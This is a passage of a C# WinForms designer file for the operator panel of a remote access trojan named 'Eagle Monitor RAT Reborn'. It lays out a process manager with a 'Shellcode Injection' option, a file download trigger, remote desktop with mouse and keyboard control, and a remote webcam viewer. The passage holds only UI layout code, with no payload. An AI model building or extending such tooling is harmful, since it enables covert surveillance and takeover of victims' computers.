"startDowloadFileToolStripMenuItem"; this.startDowloadFileToolStripMenuItem.Size = new System.Drawing.Size(117, 34); this.startDowloadFileToolStripMenuItem.Text = "Start"; this.startDowloadFileToolStripMenuItem.Click += new System.EventHandler(this.startDownloadFileToolStripMenuItem_Click); // // guna2VScrollBar7 // this.guna2VScrollBar7.Dock = System.Windows.Forms.DockStyle.Right; this.guna2VScrollBar7.FillColor = System.Drawing.Color.White; this.guna2VScrollBar7.InUpdate = false; this.guna2VScrollBar7.LargeChange = 10; this.guna2VScrollBar7.Location = new System.Drawing.Point(1061, 0); this.guna2VScrollBar7.Name = "guna2VScrollBar7"; this.guna2VScrollBar7.ScrollbarSize = 18; this.guna2VScrollBar7.Size = new System.Drawing.Size(18, 422); this.guna2VScrollBar7.TabIndex = 16; this.guna2VScrollBar7.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); // // tabPage5 // this.tabPage5.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.tabPage5.Controls.Add(this.panel3); this.tabPage5.Location = new System.Drawing.Point(4, 4); this.tabPage5.Name = "tabPage5"; this.tabPage5.Size = new System.Drawing.Size(1091, 474); this.tabPage5.TabIndex = 2; this.tabPage5.Text = "Process Manager"; // // panel3 // this.panel3.BackColor = System.Drawing.Color.White; this.panel3.Controls.Add(this.processDataGridView); this.panel3.Controls.Add(this.guna2VScrollBar4); this.panel3.Dock = System.Windows.Forms.DockStyle.Fill; this.panel3.Location = new System.Drawing.Point(0, 0); this.panel3.Name = "panel3"; this.panel3.Padding = new System.Windows.Forms.Padding(1); this.panel3.Size = new System.Drawing.Size(1091, 474); this.panel3.TabIndex = 17; // // processDataGridView // this.processDataGridView.AllowUserToAddRows = false; this.processDataGridView.AllowUserToDeleteRows = false; this.processDataGridView.AllowUserToResizeColumns = false; this.processDataGridView.AllowUserToResizeRows = false; this.processDataGridView.BackgroundColor = System.Drawing.Color.White; this.processDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None; this.processDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None; this.processDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; dataGridViewCellStyle26.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; dataGridViewCellStyle26.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); dataGridViewCellStyle26.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); dataGridViewCellStyle26.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); dataGridViewCellStyle26.SelectionBackColor = System.Drawing.SystemColors.Highlight; dataGridViewCellStyle26.SelectionForeColor = System.Drawing.SystemColors.HighlightText; dataGridViewCellStyle26.WrapMode = System.Windows.Forms.DataGridViewTriState.True; this.processDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle26; this.processDataGridView.ColumnHeadersHeight = 36; this.processDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Column15, this.Column16, this.Column17, this.Column18, this.Column19, this.Column20}); this.processDataGridView.ContextMenuStrip = this.processContextMenuStrip; this.processDataGridView.Dock = System.Windows.Forms.DockStyle.Fill; this.processDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; this.processDataGridView.EnableHeadersVisualStyles = false; this.processDataGridView.GridColor = System.Drawing.Color.White; this.processDataGridView.Location = new System.Drawing.Point(1, 1); this.processDataGridView.Name = "processDataGridView"; this.processDataGridView.ReadOnly = true; this.processDataGridView.RowHeadersVisible = false; dataGridViewCellStyle30.BackColor = System.Drawing.Color.White; dataGridViewCellStyle30.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); dataGridViewCellStyle30.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); dataGridViewCellStyle30.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); this.processDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle30; this.processDataGridView.RowTemplate.Height = 26; this.processDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.processDataGridView.Size = new System.Drawing.Size(1071, 472); this.processDataGridView.TabIndex = 7; this.processDataGridView.TabStop = false; // // Column15 // this.Column15.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle27.BackColor = System.Drawing.Color.White; dataGridViewCellStyle27.ForeColor = System.Drawing.Color.White; dataGridViewCellStyle27.NullValue = null; dataGridViewCellStyle27.Padding = new System.Windows.Forms.Padding(15, 2, 2, 2); this.Column15.DefaultCellStyle = dataGridViewCellStyle27; this.Column15.FillWeight = 12F; this.Column15.HeaderText = ""; this.Column15.Name = "Column15"; this.Column15.ReadOnly = true; this.Column15.Resizable = System.Windows.Forms.DataGridViewTriState.False; // // Column16 // this.Column16.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle28.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); this.Column16.DefaultCellStyle = dataGridViewCellStyle28; this.Column16.FillWeight = 10F; this.Column16.HeaderText = "Id"; this.Column16.Name = "Column16"; this.Column16.ReadOnly = true; // // Column17 // this.Column17.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle29.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); this.Column17.DefaultCellStyle = dataGridViewCellStyle29; this.Column17.FillWeight = 22F; this.Column17.HeaderText = "Name"; this.Column17.Name = "Column17"; this.Column17.ReadOnly = true; // // Column18 // this.Column18.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column18.FillWeight = 22F; this.Column18.HeaderText = "Window Title"; this.Column18.Name = "Column18"; this.Column18.ReadOnly = true; // // Column19 // this.Column19.HeaderText = "Window Handle"; this.Column19.Name = "Column19"; this.Column19.ReadOnly = true; // // Column20 // this.Column20.HeaderText = "Is64Bit"; this.Column20.Name = "Column20"; this.Column20.ReadOnly = true; // // processContextMenuStrip // this.processContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28); this.processContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.refreshProcessToolStripMenuItem, this.killToolStripMenuItem, this.suspendToolStripMenuItem, this.resumeToolStripMenuItem, this.shellcodeInjectionToolStripMenuItem}); this.processContextMenuStrip.Name = "clientContextMenuStrip"; this.processContextMenuStrip.Size = new System.Drawing.Size(187, 174); // // refreshProcessToolStripMenuItem // this.refreshProcessToolStripMenuItem.BackColor = System.Drawing.Color.White; this.refreshProcessToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.refreshProcessToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.replay_32px; this.refreshProcessToolStripMenuItem.Name = "refreshProcessToolStripMenuItem"; this.refreshProcessToolStripMenuItem.Size = new System.Drawing.Size(186, 34); this.refreshProcessToolStripMenuItem.Text = "Refresh"; this.refreshProcessToolStripMenuItem.Click += new System.EventHandler(this.refreshProcessToolStripMenuItem_Click); // // killToolStripMenuItem // this.killToolStripMenuItem.BackColor = System.Drawing.Color.White; this.killToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.killToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.end_32px; this.killToolStripMenuItem.Name = "killToolStripMenuItem"; this.killToolStripMenuItem.Size = new System.Drawing.Size(186, 34); this.killToolStripMenuItem.Text = "Kill"; this.killToolStripMenuItem.Click += new System.EventHandler(this.killToolStripMenuItem_Click); // // suspendToolStripMenuItem // this.suspendToolStripMenuItem.BackColor = System.Drawing.Color.White; this.suspendToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.suspendToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.pause_32px; this.suspendToolStripMenuItem.Name = "suspendToolStripMenuItem"; this.suspendToolStripMenuItem.Size = new System.Drawing.Size(186, 34); this.suspendToolStripMenuItem.Text = "Suspend"; this.suspendToolStripMenuItem.Click += new System.EventHandler(this.suspendToolStripMenuItem_Click); // // resumeToolStripMenuItem // this.resumeToolStripMenuItem.BackColor = System.Drawing.Color.White; this.resumeToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.resumeToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.resume_button_32px; this.resumeToolStripMenuItem.Name = "resumeToolStripMenuItem"; this.resumeToolStripMenuItem.Size = new System.Drawing.Size(186, 34); this.resumeToolStripMenuItem.Text = "Resume"; this.resumeToolStripMenuItem.Click += new System.EventHandler(this.resumeToolStripMenuItem_Click); // // shellcodeInjectionToolStripMenuItem // this.shellcodeInjectionToolStripMenuItem.BackColor = System.Drawing.Color.White; this.shellcodeInjectionToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.shellcodeInjectionToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.Binary_Code_32px; this.shellcodeInjectionToolStripMenuItem.Name = "shellcodeInjectionToolStripMenuItem"; this.shellcodeInjectionToolStripMenuItem.Size = new System.Drawing.Size(186, 34); this.shellcodeInjectionToolStripMenuItem.Text = "Shellcode Injection"; this.shellcodeInjectionToolStripMenuItem.Click += new System.EventHandler(this.shellcodeInjectionToolStripMenuItem_Click); // // guna2VScrollBar4 // this.guna2VScrollBar4.Dock = System.Windows.Forms.DockStyle.Right; this.guna2VScrollBar4.FillColor = System.Drawing.Color.White; this.guna2VScrollBar4.InUpdate = false; this.guna2VScrollBar4.LargeChange = 10; this.guna2VScrollBar4.Location = new System.Drawing.Point(1072, 1); this.guna2VScrollBar4.Name = "guna2VScrollBar4"; this.guna2VScrollBar4.ScrollbarSize = 18; this.guna2VScrollBar4.Size = new System.Drawing.Size(18, 472); this.guna2VScrollBar4.TabIndex = 16; this.guna2VScrollBar4.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); // // tabPage8 // this.tabPage8.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.tabPage8.Controls.Add(this.remoteGuna2TabControl); this.tabPage8.Location = new System.Drawing.Point(4, 4); this.tabPage8.Name = "tabPage8"; this.tabPage8.Size = new System.Drawing.Size(1091, 474); this.tabPage8.TabIndex = 3; this.tabPage8.Text = "Remote Control"; // // remoteGuna2TabControl // this.remoteGuna2TabControl.Controls.Add(this.tabPage10); this.remoteGuna2TabControl.Controls.Add(this.tabPage11); this.remoteGuna2TabControl.Controls.Add(this.tabPage12); this.remoteGuna2TabControl.Dock = System.Windows.Forms.DockStyle.Fill; this.remoteGuna2TabControl.ItemSize = new System.Drawing.Size(180, 40); this.remoteGuna2TabControl.Location = new System.Drawing.Point(0, 0); this.remoteGuna2TabControl.Name = "remoteGuna2TabControl"; this.remoteGuna2TabControl.SelectedIndex = 0; this.remoteGuna2TabControl.Size = new System.Drawing.Size(1091, 474); this.remoteGuna2TabControl.TabButtonHoverState.BorderColor = System.Drawing.Color.Empty; this.remoteGuna2TabControl.TabButtonHoverState.FillColor = System.Drawing.Color.Gainsboro; this.remoteGuna2TabControl.TabButtonHoverState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.remoteGuna2TabControl.TabButtonHoverState.ForeColor = System.Drawing.Color.White; this.remoteGuna2TabControl.TabButtonHoverState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.remoteGuna2TabControl.TabButtonIdleState.BorderColor = System.Drawing.Color.Empty; this.remoteGuna2TabControl.TabButtonIdleState.FillColor = System.Drawing.Color.White; this.remoteGuna2TabControl.TabButtonIdleState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.remoteGuna2TabControl.TabButtonIdleState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(156)))), ((int)(((byte)(160)))), ((int)(((byte)(167))))); this.remoteGuna2TabControl.TabButtonIdleState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235))))); this.remoteGuna2TabControl.TabButtonSelectedState.BorderColor = System.Drawing.Color.Empty; this.remoteGuna2TabControl.TabButtonSelectedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.remoteGuna2TabControl.TabButtonSelectedState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.remoteGuna2TabControl.TabButtonSelectedState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); this.remoteGuna2TabControl.TabButtonSelectedState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.remoteGuna2TabControl.TabButtonSize = new System.Drawing.Size(180, 40); this.remoteGuna2TabControl.TabIndex = 67; this.remoteGuna2TabControl.TabMenuBackColor = System.Drawing.Color.White; this.remoteGuna2TabControl.TabMenuOrientation = Guna.UI2.WinForms.TabMenuOrientation.HorizontalTop; // // tabPage10 // this.tabPage10.BackColor = System.Drawing.Color.White; this.tabPage10.Controls.Add(this.remoteDesktopPictureBox); this.tabPage10.Controls.Add(this.panel4); this.tabPage10.Location = new System.Drawing.Point(4, 44); this.tabPage10.Name = "tabPage10"; this.tabPage10.Size = new System.Drawing.Size(1083, 426); this.tabPage10.TabIndex = 1; this.tabPage10.Text = "Remote Desktop"; // // remoteDesktopPictureBox // this.remoteDesktopPictureBox.BackColor = System.Drawing.Color.White; this.remoteDesktopPictureBox.ContextMenuStrip = this.remoteDesktopContextMenuStrip; this.remoteDesktopPictureBox.Dock = System.Windows.Forms.DockStyle.Fill; this.remoteDesktopPictureBox.Location = new System.Drawing.Point(0, 47); this.remoteDesktopPictureBox.Name = "remoteDesktopPictureBox"; this.remoteDesktopPictureBox.Size = new System.Drawing.Size(1083, 379); this.remoteDesktopPictureBox.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; this.remoteDesktopPictureBox.TabIndex = 66; this.remoteDesktopPictureBox.TabStop = false; this.remoteDesktopPictureBox.SizeChanged += new System.EventHandler(this.remoteDesktopPictureBox_SizeChanged); this.remoteDesktopPictureBox.MouseDown += new System.Windows.Forms.MouseEventHandler(this.remoteDesktopPictureBox_MouseDown); this.remoteDesktopPictureBox.MouseMove += new System.Windows.Forms.MouseEventHandler(this.remoteDesktopPictureBox_MouseMove); this.remoteDesktopPictureBox.MouseUp += new System.Windows.Forms.MouseEventHandler(this.remoteDesktopPictureBox_MouseUp); // // remoteDesktopContextMenuStrip // this.remoteDesktopContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28); this.remoteDesktopContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.saveRemoteDesktopToolStripMenuItem}); this.remoteDesktopContextMenuStrip.Name = "clientContextMenuStrip"; this.remoteDesktopContextMenuStrip.Size = new System.Drawing.Size(111, 38); // // saveRemoteDesktopToolStripMenuItem // this.saveRemoteDesktopToolStripMenuItem.BackColor = System.Drawing.Color.White; this.saveRemoteDesktopToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.saveRemoteDesktopToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.save_32px; this.saveRemoteDesktopToolStripMenuItem.Name = "saveRemoteDesktopToolStripMenuItem"; this.saveRemoteDesktopToolStripMenuItem.Size = new System.Drawing.Size(110, 34); this.saveRemoteDesktopToolStripMenuItem.Text = "Save"; this.saveRemoteDesktopToolStripMenuItem.Click += new System.EventHandler(this.saveRemoteDesktopToolStripMenuItem_Click); // // panel4 // this.panel4.BackColor = System.Drawing.Color.White; this.panel4.Controls.Add(this.captureGuna2ToggleSwitch); this.panel4.Controls.Add(this.mouseGuna2ToggleSwitch); this.panel4.Controls.Add(this.panel5); this.panel4.Controls.Add(this.qualityGuna2TrackBar); this.panel4.Controls.Add(this.label1); this.panel4.Controls.Add(this.keyboardGuna2ToggleSwitch); this.panel4.Controls.Add(this.label4); this.panel4.Controls.Add(this.label5); this.panel4.Controls.Add(this.label6); this.panel4.Dock = System.Windows.Forms.DockStyle.Top; this.panel4.Location = new System.Drawing.Point(0, 0); this.panel4.Name = "panel4"; this.panel4.Size = new System.Drawing.Size(1083, 47); this.panel4.TabIndex = 65; // // captureGuna2ToggleSwitch // this.captureGuna2ToggleSwitch.Animated = true; this.captureGuna2ToggleSwitch.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.captureGuna2ToggleSwitch.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.captureGuna2ToggleSwitch.CheckedState.InnerBorderColor = System.Drawing.Color.White; this.captureGuna2ToggleSwitch.CheckedState.InnerColor = System.Drawing.Color.White; this.captureGuna2ToggleSwitch.Location = new System.Drawing.Point(56, 11); this.captureGuna2ToggleSwitch.Name = "captureGuna2ToggleSwitch"; this.captureGuna2ToggleSwitch.Size = new System.Drawing.Size(35, 20); this.captureGuna2ToggleSwitch.TabIndex = 57; this.captureGuna2ToggleSwitch.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(190)))), ((int)(((byte)(190)))), ((int)(((byte)(190))))); this.captureGuna2ToggleSwitch.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(190)))), ((int)(((byte)(190)))), ((int)(((byte)(190))))); this.captureGuna2ToggleSwitch.UncheckedState.InnerBorderColor = System.Drawing.Color.White; this.captureGuna2ToggleSwitch.UncheckedState.InnerColor = System.Drawing.Color.White; this.captureGuna2ToggleSwitch.CheckedChanged += new System.EventHandler(this.captureGuna2ToggleSwitch_CheckedChanged); // // mouseGuna2ToggleSwitch // this.mouseGuna2ToggleSwitch.Animated = true; this.mouseGuna2ToggleSwitch.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.mouseGuna2ToggleSwitch.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.mouseGuna2ToggleSwitch.CheckedState.InnerBorderColor = System.Drawing.Color.White; this.mouseGuna2ToggleSwitch.CheckedState.InnerColor = System.Drawing.Color.White; this.mouseGuna2ToggleSwitch.Location = new System.Drawing.Point(142, 11); this.mouseGuna2ToggleSwitch.Name = "mouseGuna2ToggleSwitch"; this.mouseGuna2ToggleSwitch.Size = new System.Drawing.Size(35, 20); this.mouseGuna2ToggleSwitch.TabIndex = 60; this.mouseGuna2ToggleSwitch.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(190)))), ((int)(((byte)(190)))), ((int)(((byte)(190))))); this.mouseGuna2ToggleSwitch.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(190)))), ((int)(((byte)(190)))), ((int)(((byte)(190))))); this.mouseGuna2ToggleSwitch.UncheckedState.InnerBorderColor = System.Drawing.Color.White; this.mouseGuna2ToggleSwitch.UncheckedState.InnerColor = System.Drawing.Color.White; this.mouseGuna2ToggleSwitch.CheckedChanged += new System.EventHandler(this.mouseGuna2ToggleSwitch_CheckedChanged); // // panel5 // this.panel5.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.panel5.Dock = System.Windows.Forms.DockStyle.Bottom; this.panel5.Location = new System.Drawing.Point(0, 43); this.panel5.Name = "panel5"; this.panel5.Size = new System.Drawing.Size(1083, 4); this.panel5.TabIndex = 65; // // qualityGuna2TrackBar // this.qualityGuna2TrackBar.Location = new System.Drawing.Point(339, 12); this.qualityGuna2TrackBar.Name = "qualityGuna2TrackBar"; this.qualityGuna2TrackBar.Size = new System.Drawing.Size(97, 20); this.qualityGuna2TrackBar.TabIndex = 59; this.qualityGuna2TrackBar.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.qualityGuna2TrackBar.ValueChanged += new System.EventHandler(this.qualityGuna2TrackBar_ValueChanged); // // label1 // this.label1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label1.Location = new System.Drawing.Point(3, 11); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(59, 20); this.label1.TabIndex = 58; this.label1.Text = "Capture:"; this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // keyboardGuna2ToggleSwitch // this.keyboardGuna2ToggleSwitch.Animated = true; this.keyboardGuna2ToggleSwitch.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.keyboardGuna2ToggleSwitch.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.keyboardGuna2ToggleSwitch.CheckedState.InnerBorderColor = System.Drawing.Color.White; this.keyboardGuna2ToggleSwitch.CheckedState.InnerColor = System.Drawing.Color.White; this.keyboardGuna2ToggleSwitch.Location = new System.Drawing.Point(246, 11); this.keyboardGuna2ToggleSwitch.Name = "keyboardGuna2ToggleSwitch"; this.keyboardGuna2ToggleSwitch.Size = new System.Drawing.Size(35, 20); this.keyboardGuna2ToggleSwitch.TabIndex = 61; this.keyboardGuna2ToggleSwitch.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(190)))), ((int)(((byte)(190)))), ((int)(((byte)(190))))); this.keyboardGuna2ToggleSwitch.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(190)))), ((int)(((byte)(190)))), ((int)(((byte)(190))))); this.keyboardGuna2ToggleSwitch.UncheckedState.InnerBorderColor = System.Drawing.Color.White; this.keyboardGuna2ToggleSwitch.UncheckedState.InnerColor = System.Drawing.Color.White; this.keyboardGuna2ToggleSwitch.CheckedChanged += new System.EventHandler(this.keyboardGuna2ToggleSwitch_CheckedChanged); // // label4 // this.label4.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label4.Location = new System.Drawing.Point(97, 11); this.label4.Name = "label4"; this.label4.Size = new System.Drawing.Size(51, 20); this.label4.TabIndex = 62; this.label4.Text = "Mouse:"; this.label4.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label5 // this.label5.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label5.Location = new System.Drawing.Point(183, 11); this.label5.Name = "label5"; this.label5.Size = new System.Drawing.Size(68, 20); this.label5.TabIndex = 63; this.label5.Text = "Keyboard:"; this.label5.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label6 // this.label6.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label6.Location = new System.Drawing.Point(289, 11); this.label6.Name = "label6"; this.label6.Size = new System.Drawing.Size(59, 20); this.label6.TabIndex = 64; this.label6.Text = "Quality:"; this.label6.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // tabPage11 // this.tabPage11.Controls.Add(this.remoteWebCamPictureBox); this.tabPage11.Controls.Add(this.panel8); this.tabPage11.Location = new System.Drawing.Point(4, 44); this.tabPage11.Name = "tabPage11"; this.tabPage11.Size = new System.Drawing.Size(1083, 426); this.tabPage11.TabIndex = 2; this.tabPage11.Text = "Remote WebCam"; this.tabPage11.UseVisualStyleBackColor = true; // // remoteWebCamPictureBox // this.remoteWebCamPictureBox.BackColor = System.Drawing.Color.White; this.remoteWebCamPictureBox.ContextMenuStrip = this.webCamContextMenuStrip; this.remoteWebCamPictureBox.Dock = System.Windows.Forms.DockStyle.Fill; this.remoteWebCamPictureBox.Location = new System.Drawing.Point(0, 47); this.remoteWebCamPictureBox.Name = "remoteWebCamPictureBox"; this.remoteWebCamPictureBox.Size = new System.Drawing.Size(1083, 379); this.remoteWebCamPictureBox.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; this.remoteWebCamPictureBox.TabIndex = 67; this.remoteWebCamPictureBox.TabStop = false; // // webCamContextMenuStrip // this.webCamContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28); this.webCamContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.getWebCamToolStripMenuItem, this.saveWebCamToolStripMenuItem}); this.webCamContextMenuStrip.Name = "clientContextMenuStrip"; this.webCamContextMenuStrip.Size = new System.Drawing.Size(162, 72); // // getWebCamToolStripMenuItem // this.getWebCamToolStripMenuItem.BackColor = System.Drawing.Color.White; this.getWebCamToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.getWebCamToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.video_call_32px; this.getWebCamToolStripMenuItem.Name = "getWebCamToolStripMenuItem"; this.getWebCamToolStripMenuItem.Size = new System.Drawing.Size(161, 34); this.getWebCamToolStripMenuItem.Text = "Get WebCams"; this.getWebCamToolStripMenuItem.Click += new System.EventHandler(this.getWebCamToolStripMenuItem_Click); // // saveWebCamToolStripMenuItem // this.saveWebCamToolStripMenuItem.BackColor = System.Drawing.Color.White; this.saveWebCamToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.saveWebCamToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.save_32px; this.saveWebCamToolStripMenuItem.Name = "saveWebCamToolStripMenuItem"; this.saveWebCamToolStripMenuItem.Size = new System.Drawing.Size(161, 34); this.saveWebCamToolStripMenuItem.Text = "Save"; this.saveWebCamToolStripMenuItem.Click += new System.EventHandler(this.saveWebCamToolStripMenuItem_Click); // // panel8 // this.panel8.BackColor = System.Drawing.Color.White; this.panel8.Controls.Add(this.camerasGuna2ComboBox); this.panel8.Controls.Add(this.captureWebCamGuna2ToggleSwitch); this.panel8.Controls.Add(this.panel9); this.panel8.Controls.Add(this.label2); this.panel8.Dock = System.Windows.Forms.DockStyle.Top; this.panel8.Location = new System.Drawing.Point(0, 0); this.panel8.Name = "panel8"; this.panel8.Size = new System.Drawing.Size(1083, 47); this.panel8.TabIndex = 66; // // camerasGuna2ComboBox // this.camerasGuna2ComboBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Left | System.Windows.Forms.AnchorStyles.Right))); this.camerasGuna2ComboBox.Animated = true; this.camerasGuna2ComboBox.AutoRoundedCorners = true; this.camerasGuna2ComboBox.BackColor = System.Drawing.Color.White; this.camerasGuna2ComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.camerasGuna2ComboBox.BorderRadius = 17; this.camerasGuna2ComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; this.camerasGuna2ComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.camerasGuna2ComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.camerasGuna2ComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.camerasGuna2ComboBox.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.camerasGuna2ComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.camerasGuna2ComboBox.ItemHeight = 30; this.camerasGuna2ComboBox.Location = new System.Drawing.Point(96, 3); this.camerasGuna2ComboBox.Name = "camerasGuna2ComboBox"; this.camerasGuna2ComboBox.Size = new System.Drawing.Size(983, 36); this.camerasGuna2ComboBox.TabIndex = 66; // // captureWebCamGuna2ToggleSwitch // this.captureWebCamGuna2ToggleSwitch.Animated = true; this.captureWebCamGuna2ToggleSwitch.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), 